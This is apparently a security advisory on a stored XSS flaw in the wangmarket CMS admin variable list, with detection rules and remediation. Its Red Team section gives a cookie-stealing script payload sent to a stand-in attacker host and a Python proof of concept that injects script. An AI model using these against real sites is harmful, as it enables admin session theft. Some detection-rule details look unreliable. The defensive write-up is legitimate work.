CVE-2025-15452

Executive Summary

CVE-2025-15452 identifies a stored Cross-Site Scripting (XSS) vulnerability in the xnx3 wangmarket content management system, up to version 4.9. The flaw resides in the backend variable search functionality, specifically within the /admin/system/variableList.do endpoint. An authenticated attacker with administrative privileges can inject malicious JavaScript into the Description parameter of a variable. When other administrators view the variable list, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise of the CMS backend.

This vulnerability is classified as low severity (CVSS 2.4) due to the requirement for high privileges and user interaction. However, the public availability of exploit code and the vendor’s lack of response elevate the risk for unpatched instances. No official patch or workaround has been released.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (wangmarket). No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to direct deployments of the wangmarket software.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack is launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker must be an authenticated admin.
• User Interaction: Required (UI:R) – Victim admin must view the variable list.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Script execution can modify content or steal data.
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation requires admin credentials and user interaction. However, the public exploit and lack of patch make it a realistic threat for internal or exposed admin panels.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the backend variable management system. The Description field of a variable is not properly sanitized before being stored and later rendered in the /admin/system/variableList.do page.

Attack Flow:

1. An authenticated admin logs into the wangmarket backend.
2. The attacker navigates to the variable management section and creates or edits a variable.
3. In the Description field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database without sanitization.
5. When another admin (or the same admin) views the variable list, the payload executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the admin interface.

Root Cause: Lack of output encoding or input validation on the Description parameter. The application likely renders the description directly into HTML without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the controller for variableList.do
String description = variable.getDescription();
// Directly output to JSP without escaping
out.println("<td>" + description + "</td>");

Patched Code (Hypothetical):

// Use a proper escaping function
String description = variable.getDescription();
String safeDescription = StringEscapeUtils.escapeHtml4(description);
out.println("<td>" + safeDescription + "</td>");

Since no official patch exists, the fix must be applied manually by the administrator.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid admin credentials for wangmarket.
• Network access to the admin panel.

Exploit Steps:

1. Log in to the wangmarket backend.
2. Navigate to /admin/system/variableList.do.
3. Click "Add" or "Edit" a variable.
4. In the Description field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the variable.
6. Wait for another admin to view the variable list, or trick them into doing so.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com"
session = requests.Session()

# Login (adjust credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin/login.do", data=login_data)

# Inject XSS payload
payload = {"name": "test_var", "description": "<script>alert('XSS')</script>"}
session.post(f"{target}/admin/system/variableList.do?action=save", data=payload)

print("Payload injected. Visit /admin/system/variableList.do to trigger.")

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP requests to /admin/system/variableList.do for suspicious description parameters containing <script> or event handlers.
• Use WAF rules to block XSS patterns in POST data.

Hardening:

• Apply input validation and output encoding manually (see Remediation).
• Restrict admin panel access to trusted IPs.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/system/variableList.do with description containing <script> tags.
  • Outbound connections to unknown domains from the admin panel (cookie exfiltration).
• File System:
  • Modified database entries in the variable table with script content.
• Logs:
  • Application logs showing unusual variable descriptions.
  • Web server logs with 200 responses to /admin/system/variableList.do followed by outbound requests.

Detection Engineering

YARA Rule

rule CVE_2025_15452_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting wangmarket variable description"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15452"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "onload=" ascii nocase
        $xss4 = "javascript:" ascii nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-15452 XSS Attempt in wangmarket Variable Description
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in POST requests to wangmarket variable management
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/system/variableList.do'
        cs-uri-query|contains: 'description='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15452 XSS Attempt in wangmarket Variable Description";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/system/variableList.do"; http_uri;
    content:"description="; http_client_body;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-15452;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the variable management feature if not essential, by removing or restricting access to /admin/system/variableList.do.
2. Apply input validation manually: Sanitize the Description field using a whitelist of allowed characters (e.g., alphanumeric and spaces only).
3. Implement output encoding in the JSP files that render variable descriptions. Use StringEscapeUtils.escapeHtml4() or similar.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative CMS or forking the project to apply a permanent fix.
• Monitor the vendor’s website for any future patches.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns in POST requests to the vulnerable endpoint.

Valters IT